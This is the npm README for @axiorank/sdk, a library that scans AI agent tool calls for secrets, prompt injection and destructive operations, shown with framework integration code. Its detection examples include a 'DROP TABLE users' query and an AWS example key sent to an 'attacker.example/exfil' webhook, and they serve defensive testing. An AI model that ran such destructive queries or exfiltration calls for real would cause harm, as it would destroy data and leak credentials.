@axiorank/sdk
v0.16.0
Published
Catch leaked secrets, prompt injection, and destructive calls in your AI agent's tool calls. Runs locally with no signup; enforce centrally with AxioRank.
Downloads
2,380
Maintainers
Readme
@axiorank/sdk
Catch leaked secrets, prompt injection, destructive commands, and PII in your AI agent's tool calls. This runs the same detection engine the hosted AxioRank gateway runs, in-process, with no API key and no signup.
Try it in 10 seconds (no key, no signup)
npx @axiorank/sdk demoOr scan one of your own tool calls:
echo '{"tool":"db.query","arguments":{"sql":"DROP TABLE users"}}' | npx @axiorank/sdk scanAdd --share to demo or scan to publish the result as a public scorecard
and print a shareable link (opt-in; the server recomputes the verdict):
npx @axiorank/sdk scan --share < call.jsonInstall
npm install @axiorank/sdkInspect a tool call locally
No API key, no network. inspect() runs the exact detectors and risk scoring the
gateway runs and returns an advisory verdict.
import { inspect } from "@axiorank/sdk";
const r = inspect("aws.s3.putObject", {
body: "AKIAIOSFODNN7EXAMPLE",
webhook: "http://attacker.example/exfil",
});
console.log(r.decision, r.risk); // "deny" 96
console.log(r.signals.map((s) => s.detector)); // ["secret.aws_access_key", ...]The verdict follows the default posture: deny on a live secret, a destructive
operation, or risk at or above 75. inspectText(tool, text) does the same for a
tool's output, so you can catch indirect prompt injection before your agent
ingests it.
Enforce centrally
inspect() shows you what is risky locally. To enforce it across your fleet,
with your own policy, an audit trail, approvals and holds, and multi-step
kill-chain correlation, route the call through the hosted gateway. Create a free
key at axiorank.com, then:
import { AxioRank } from "@axiorank/sdk";
const axio = new AxioRank({
apiKey: process.env.AXIORANK_KEY!, // your agent's key, looks like axr_live_...
// baseUrl: "https://your-axiorank.vercel.app", // defaults to https://app.axiorank.com
});
const result = await axio.toolCall({
tool: "github.push",
arguments: { repo: "myrepo" },
});
if (result.decision === "deny") {
console.warn(`Blocked: ${result.reason} (risk ${result.risk})`);
} else {
// ...proceed with the real tool call
}enforce(): guard in one line
import { AxioRankDeniedError } from "@axiorank/sdk";
try {
await axio.enforce({ tool: "aws.delete", arguments: {} });
// only reached when the call is allowed
} catch (err) {
if (err instanceof AxioRankDeniedError) {
console.error(err.result.reason);
}
}Framework integrations
Already building on an agent framework? Put every tool call behind the
gateway with one wrapper, with no need to call toolCall by hand. Each adapter
ships as a subpath of this package and treats the framework as an optional peer
dependency, so a plain @axiorank/sdk install stays lightweight.
| Framework | Import | Wrap with |
| ------------------------------ | ----------------------------- | ------------------------------ |
| Anthropic Messages API | @axiorank/sdk/anthropic | guardToolHandlers(handlers, axio) |
| Vercel AI SDK (ai) | @axiorank/sdk/vercel | guardTools(tools, axio) |
| OpenAI Agents SDK | @axiorank/sdk/openai-agents | guardExecute(name, fn, axio) |
| LangChain · LangGraph | @axiorank/sdk/langchain | guardTools(tools, axio) |
| Mastra | @axiorank/sdk/mastra | guardTool(tool, axio) |
On a deny the wrapper throws AxioRankDeniedError by default; with
{ onDeny: "return" } it hands the model a short refusal string so it can
re-plan. A require_approval hold is waited out transparently. Pass
axio.trace() instead of axio to correlate a whole agent run into one
kill-chain trace.
Anthropic Messages API
The Anthropic SDK doesn't run your tools; your loop does. Guard the dispatch
step: hand each tool_use block to the guarded dispatcher and send back the
tool_result it returns. This adapter defaults to onDeny: "return".
import Anthropic from "@anthropic-ai/sdk";
import { AxioRank } from "@axiorank/sdk";
import { guardToolHandlers } from "@axiorank/sdk/anthropic";
const anthropic = new Anthropic();
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });
const dispatch = guardToolHandlers(
{ deployToProd: async ({ service }) => deploy(service) },
axio.trace(), // correlate the whole run into one kill-chain trace
);
const msg = await anthropic.messages.create({ model: "claude-opus-4-8", tools, messages });
const toolResults = [];
for (const block of msg.content) {
if (block.type === "tool_use") toolResults.push(await dispatch(block));
}
// send `toolResults` back as the next user messageVercel AI SDK
import { generateText } from "ai";
import { openai } from "@ai-sdk/openai";
import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/vercel";
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });
await generateText({
model: openai("gpt-4.1"),
tools: guardTools(myTools, axio, { onDeny: "return" }),
prompt,
});OpenAI Agents SDK
import { tool } from "@openai/agents";
import { AxioRank } from "@axiorank/sdk";
import { guardExecute } from "@axiorank/sdk/openai-agents";
import { z } from "zod";
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });
const refund = tool({
name: "refund",
parameters: z.object({ chargeId: z.string(), amount: z.number() }),
execute: guardExecute("refund", async ({ chargeId, amount }) => doRefund(chargeId, amount), axio),
});LangChain.js / LangGraph.js
import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/langchain";
import { createReactAgent } from "@langchain/langgraph/prebuilt";
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });
const agent = createReactAgent({
llm,
tools: guardTools(myTools, axio, { onDeny: "return" }),
});AxioRank guards by wrapping each tool (it scores before the tool runs). A LangChain callback handler can't reliably block (handler errors are processed on an async queue and the tool runs anyway), so wrapping is the enforcement path.
Mastra
import { AxioRank } from "@axiorank/sdk";
import { guardTool } from "@axiorank/sdk/mastra";
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });
const deploy = guardTool(deployTool, axio, { onDeny: "return" });
// ...hand `deploy` to your Mastra agent in place of the original tool.API
new AxioRank(options)
| Option | Type | Default | Description |
| ----------- | -------- | ----------------------------- | ------------------------------------ |
| apiKey | string | - (required) | Your agent API key. |
| baseUrl | string | https://app.axiorank.com | Your AxioRank deployment URL. |
| timeoutMs | number | 10000 | Per-request timeout. |
| fetch | fetch | global fetch | Custom fetch (tests / edge runtimes).|
axio.toolCall(params) → Promise<ToolCallResult>
Returns { decision, reason, risk, auditLogId }. Resolves for both allow and
deny. Throws AxioRankAuthError (401) or AxioRankRequestError (other errors).
axio.enforce(params) → Promise<ToolCallResult>
Same as toolCall, but throws AxioRankDeniedError when decision === "deny".
License
MIT
